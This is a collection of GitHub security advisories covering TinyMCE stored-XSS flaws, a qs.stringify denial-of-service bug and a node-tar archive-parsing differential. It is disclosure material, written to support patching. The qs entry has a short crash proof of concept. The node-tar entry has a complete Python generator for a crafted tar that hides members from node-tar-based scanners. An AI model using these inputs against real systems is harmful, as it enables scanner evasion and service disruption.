Tiny thanks Tadi Kadango (website) and Ivan Babenko for their help identifying this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47759"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T20:27:50Z",
"nvd_published_at": "2026-05-28T16:16:28Z",
"severity": "HIGH"
},
"details": "### Impact\nStored XSS vulnerability via unsanitized data-mce-* attributes (data-mce-href, data-mce-src, data-mce-style). Allows attackers to inject malicious values that override safe attributes during serialization, bypassing validation.\n\n### Patches\nPatched by stripping unsafe data-mce-* attributes during parsing. Users should upgrade to the latest patched versions (5 LTS, 7.x, 8.x).\n\n### Workarounds\nNo official workaround available.\n\n### Fix\nTo avoid this vulnerability:\n\nUpgrade to TinyMCE 8.5.1 or higher.\nUpgrade to TinyMCE 7.9.3 or higher.\nUpgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial [long-term support](https://www.tiny.cloud/long-term-support/) contract).\n\n### Acknowledgements\nTiny thanks [Tadi Kadango](https://github.com/mtrill47) ([website](https://tadiwakadango.com/)) and [Ivan Babenko](https://github.com/he1d3n) for their help identifying this vulnerability.",
"id": "GHSA-q742-qvgc-gc2f",
"modified": "2026-07-07T17:10:01Z",
"published": "2026-06-05T20:27:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-q742-qvgc-gc2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47759"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinymce/tinymce"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyMCE Cross-Site Scripting (XSS) vulnerability using through data-mce- prefixed src, href, style attributes"
}
GHSA-Q8MJ-M7CP-5Q26
Vulnerability from github – Published: 2026-05-22 17:27 – Updated: 2026-05-22 17:27Summary
qs.stringify throws TypeError when called with arrayFormat: 'comma' and encodeValuesOnly: true on an array containing null or undefined. The throw is synchronous and not handled by any of qs's null-related options (skipNulls, strictNullHandling).
Details
In the comma + encodeValuesOnly branch, lib/stringify.js:145 mapped the array through the raw encoder before joining:
obj = utils.maybeMap(obj, encoder);
utils.encode (lib/utils.js:195) reads str.length with no null guard, so a null or undefined element throws TypeError. skipNulls and strictNullHandling are both checked in the per-element loop below this line and never get a chance to run.
Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + encodeValuesOnly branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1.
PoC
const qs = require('qs');
qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });
// TypeError: Cannot read properties of null (reading 'length')
// at encode (lib/utils.js:195:13)
// at Object.maybeMap (lib/utils.js:322:37)
// at stringify (lib/stringify.js:145:25)
Fix
lib/stringify.js:145, applied in 21f80b3 on main:
- obj = utils.maybeMap(obj, encoder);
+ obj = utils.maybeMap(obj, function (v) {
+ return v == null ? v : encoder(v);
+ });
null and undefined now pass through maybeMap unchanged and reach the join(',') step as-is. For { a: [null, 'b'] } this produces a=,b, matching the non-encodeValuesOnly comma path (which already joins before encoding and produces a=%2Cb for the same input). Single-element [null] arrays still collapse via the existing obj.join(',') || null and remain subject to skipNulls / strictNullHandling in the main loop.
Affected versions
>=6.11.1 <=6.15.1
The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + encodeValuesOnly path differently (joining before encoding) and are not affected. Empirically verified across released versions.
Impact
Application code that calls qs.stringify with both arrayFormat: 'comma' and encodeValuesOnly: true (both non-default) on input that may contain a null or undefined array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.
The vulnerable input is a null or undefined entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal null).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.15.1"
},
"package": {
"ecosystem": "npm",
"name": "qs"
},
"ranges": [
{
"events": [
{
"introduced": "6.11.1"
},
{
"fixed": "6.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8723"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-22T17:27:19Z",
"nvd_published_at": "2026-05-17T00:16:21Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs\u0027s null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nqs.stringify({ a: [null, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\nqs.stringify({ a: [undefined, \u0027b\u0027] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\nqs.stringify({ a: [null] }, { arrayFormat: \u0027comma\u0027, encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading \u0027length\u0027)\n// at encode (lib/utils.js:195:13)\n// at Object.maybeMap (lib/utils.js:322:37)\n// at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+ return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(\u0027,\u0027)` step as-is. For `{ a: [null, \u0027b\u0027] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(\u0027,\u0027) || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions \u2014 including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 \u2014 implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: \u0027comma\u0027` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework\u0027s error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
"id": "GHSA-q8mj-m7cp-5q26",
"modified": "2026-05-22T17:27:19Z",
"published": "2026-05-22T17:27:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
},
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
},
{
"type": "PACKAGE",
"url": "https://github.com/ljharb/qs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set"
}
GHSA-V98H-VMPC-FPQV
Vulnerability from github – Published: 2026-06-05 20:29 – Updated: 2026-07-15 21:07Impact
Stored XSS vulnerability via forged mce:protected comments. Allows attackers to bypass sanitization and inject scripts that execute when content is restored. Impacts users who utilize the protect option.
Patches
Patched by validating decoded mce:protected content against configured protect regex rules before restoring. Users should upgrade to the latest patched version.
Workarounds
No official workaround available.
Fix
To avoid this vulnerability:
Upgrade to TinyMCE 8.5.1 or higher. Upgrade to TinyMCE 7.9.3 or higher. Upgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial long-term support contract).
Acknowledgements
Tiny thanks Ivan Babenko for their help identifying this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47762"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T20:29:07Z",
"nvd_published_at": "2026-05-28T16:16:28Z",
"severity": "HIGH"
},
"details": "### Impact\nStored XSS vulnerability via forged mce:protected comments. Allows attackers to bypass sanitization and inject scripts that execute when content is restored. Impacts users who utilize the protect option.\n\n### Patches\nPatched by validating decoded mce:protected content against configured protect regex rules before restoring. Users should upgrade to the latest patched version.\n\n### Workarounds\nNo official workaround available.\n\n### Fix\nTo avoid this vulnerability:\n\nUpgrade to TinyMCE 8.5.1 or higher.\nUpgrade to TinyMCE 7.9.3 or higher.\nUpgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial [long-term support](https://www.tiny.cloud/long-term-support/) contract).\n\n### Acknowledgements\nTiny thanks [Ivan Babenko](https://github.com/he1d3n) for their help identifying this vulnerability.",
"id": "GHSA-v98h-vmpc-fpqv",
"modified": "2026-07-15T21:07:02Z",
"published": "2026-06-05T20:29:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-v98h-vmpc-fpqv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47762"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinymce/tinymce"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyMCE Cross-Site Scripting (XSS) vulnerability through `mce:protected` comments"
}
GHSA-VG35-5WQ7-3X7W
Vulnerability from github – Published: 2026-06-05 20:29 – Updated: 2026-06-30 21:11Impact
Stored XSS vulnerability in the media plugin. Attackers can inject malicious scripts via crafted data-mce-* attributes, which are executed when content is rendered. Impacts users of TinyMCE with the media plugin enabled.
Patches
This vulnerability has been patched in TinyMCE 8.5.1, TinyMCE 7.9.3 and TinyMCE 5.11.1 LTS by ensuring that, when using the media plugin, any content with data-mce-object and data-mce-p-* attributes are properly sanitized.
Workarounds
No official workaround available.
Fix
To avoid this vulnerability:
- Upgrade to TinyMCE 8.5.1 or higher.
- Upgrade to TinyMCE 7.9.3 or higher.
- Upgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial long-term support contract).
Acknowledgements
Tiny thanks Aymane MAZGUITI and Ange Primiterra for their help identifying this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "TinyMCE"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "5.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "7.9.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "tinymce/tinymce"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47761"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T20:29:43Z",
"nvd_published_at": "2026-05-28T16:16:28Z",
"severity": "HIGH"
},
"details": "### Impact\nStored XSS vulnerability in the media plugin. Attackers can inject malicious scripts via crafted `data-mce-*` attributes, which are executed when content is rendered. Impacts users of TinyMCE with the media plugin enabled.\n\n### Patches\nThis vulnerability has been patched in TinyMCE 8.5.1, TinyMCE 7.9.3 and TinyMCE 5.11.1 LTS by ensuring that, when using the media plugin, any content with `data-mce-object` and `data-mce-p-*` attributes are properly sanitized.\n\n### Workarounds\nNo official workaround available.\n\n### Fix\nTo avoid this vulnerability:\n\n- Upgrade to TinyMCE 8.5.1 or higher.\n- Upgrade to TinyMCE 7.9.3 or higher.\n- Upgrade to TinyMCE 5.11.1 LTS or higher for TinyMCE 5.x (only available as part of commercial [long-term support](https://www.tiny.cloud/long-term-support/) contract).\n\n### Acknowledgements\nTiny thanks [Aymane MAZGUITI](https://github.com/UncleJ4ck) and [Ange Primiterra](https://github.com/ange-primiterra) for their help identifying this vulnerability.",
"id": "GHSA-vg35-5wq7-3x7w",
"modified": "2026-06-30T21:11:55Z",
"published": "2026-06-05T20:29:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinymce/tinymce/security/advisories/GHSA-vg35-5wq7-3x7w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47761"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinymce/tinymce"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/7/7.9.3-release-notes/#overview"
},
{
"type": "WEB",
"url": "https://www.tiny.cloud/docs/tinymce/8/8.5.1-release-notes/#overview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinyMCE Cross-Site Scripting (XSS) vulnerability using media plugin `data-mce-object` injection"
}
GHSA-VMF3-W455-68VH
Vulnerability from github – Published: 2026-06-15 17:19 – Updated: 2026-06-15 17:19Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and GHSA-fp55-jw48-c537).
- A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a system
tar. - No authentication is required; the only precondition is that a victim parses an attacker-supplied tar with node-tar. Tar archives are routinely fetched from untrusted sources (package registries, user uploads, CI artifacts, container layers).
- Severity: Medium. Impact is integrity-of-archive-interpretation, not direct RCE; it is a building block for supply-chain / scanner-evasion attacks rather than a standalone code-execution primitive.
Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)
ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])
and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}
When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
body = b' %s=%s\n' % (key.encode(), str(val).encode()); n = len(body)
while True:
s = str(n).encode() + body
if len(s) == n: break
n = len(s)
return s
pax = pax_record('size', 2048) # malicious: claim size=2048 for the "next" entry
out = hdr(b'PaxHeaders/x', len(pax), b'x') + pad(pax)
out += hdr(b'././@LongLink', 13, b'L') + pad(b'longname.txt\0')
out += hdr(b'file_a', 16, b'0') + pad(b'AAAA_file_a_body')
out += hdr(b'file_b', 16, b'0') + pad(b'BBBB_file_b_body')
out += b'\0' * 1024
open('pax-desync.tar', 'wb').write(out)
A negative-control archive is identical except the PAX record is
pax_record('comment', 'x') (no size=), written to pax-control.tar.
End-to-end reproduction (against pinned version tar@7.5.15, latest release)
Install the published package into a clean project and parse both archives:
$ npm init -y >/dev/null && npm install tar@7.5.15
$ node -e "console.log(require('tar/package.json').version)"
7.5.15
$ grep -n "ex?.size ?? gex?.size" node_modules/tar/dist/esm/header.js
49: this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12);
e2e.mjs:
import * as tar from 'tar'
async function listEntries(f){
const got=[], warns=[]
await tar.list({ file:f, onReadEntry:e=>{ got.push({path:e.path,size:e.size,type:e.type}); e.resume() },
onwarn:(code,_msg)=>warns.push(code) })
return { got, warns }
}
const mal = await listEntries('pax-desync.tar')
console.log('MALICIOUS entries :', JSON.stringify(mal.got), 'warnings:', JSON.stringify(mal.warns))
const ctl = await listEntries('pax-control.tar')
console.log('CONTROL entries :', JSON.stringify(ctl.got), 'warnings:', JSON.stringify(ctl.warns))
Verbatim output:
=== Deployed-consumer E2E: npm tar@7.5.15 (latest release) ===
[MALICIOUS] archive = x(PAX size=2048) -> L(GNU longname "longname.txt") -> file_a(16B) -> file_b(16B)
tar.list() entries : []
tar.list() warnings: ["TAR_ENTRY_INVALID"]
[NEGATIVE CONTROL] same archive, PAX record is "comment=x" (no size= override)
tar.list() entries : [{"path":"longname.txt","size":16,"type":"File"},{"path":"file_b","size":16,"type":"File"}]
tar.list() warnings: []
Reference parsers on the same pax-desync.tar:
$ tar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # GNU tar
$ bsdtar tvf pax-desync.tar
-rw-r--r-- 0 0 0 2048 Jan 1 1970 longname.txt # libarchive
$ python3 -c "import tarfile; print([m.name for m in tarfile.open('pax-desync.tar').getmembers()])"
['longname.txt'] # Python tarfile
Interpretation differential: GNU tar, libarchive (bsdtar), and Python tarfile
all extract the member longname.txt from pax-desync.tar, whereas node-tar
7.5.15 desynchronizes, raises TAR_ENTRY_INVALID (checksum failure from
landing mid-stream), and reports zero members. The negative control proves
the divergence is caused solely by the PAX size= override being applied to the
intermediary L header — when the same archive carries a PAX record without
size=, node-tar parses it identically to the reference tools
(longname.txt, file_b).
Suggested fix
When decoding a header, do not apply PAX size (or other PAX overrides) if the
header being decoded is itself an extension header. Concretely, in
src/parse.ts clear/ignore this[EX] (and this[GEX] for size) when the
header's type is ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath
(GNU L), or NextFileHasLongLinkpath (GNU K); equivalently, in
Header.decode, gate the ex?.size ?? gex?.size override on the decoded type
not being one of those extension types. This mirrors the upstream Rust fix,
which guards pax_size with
is_gnu_longname || is_gnu_longlink || is_pax_local_extensions || is_pax_global_extensions.
A fix PR is being prepared against a private fork and will be linked here.
Fix PR
To be linked from a private fork of the repository (the fix will not be pushed to any public fork or to upstream during embargo).
Credits
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.15"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53655"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:19:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
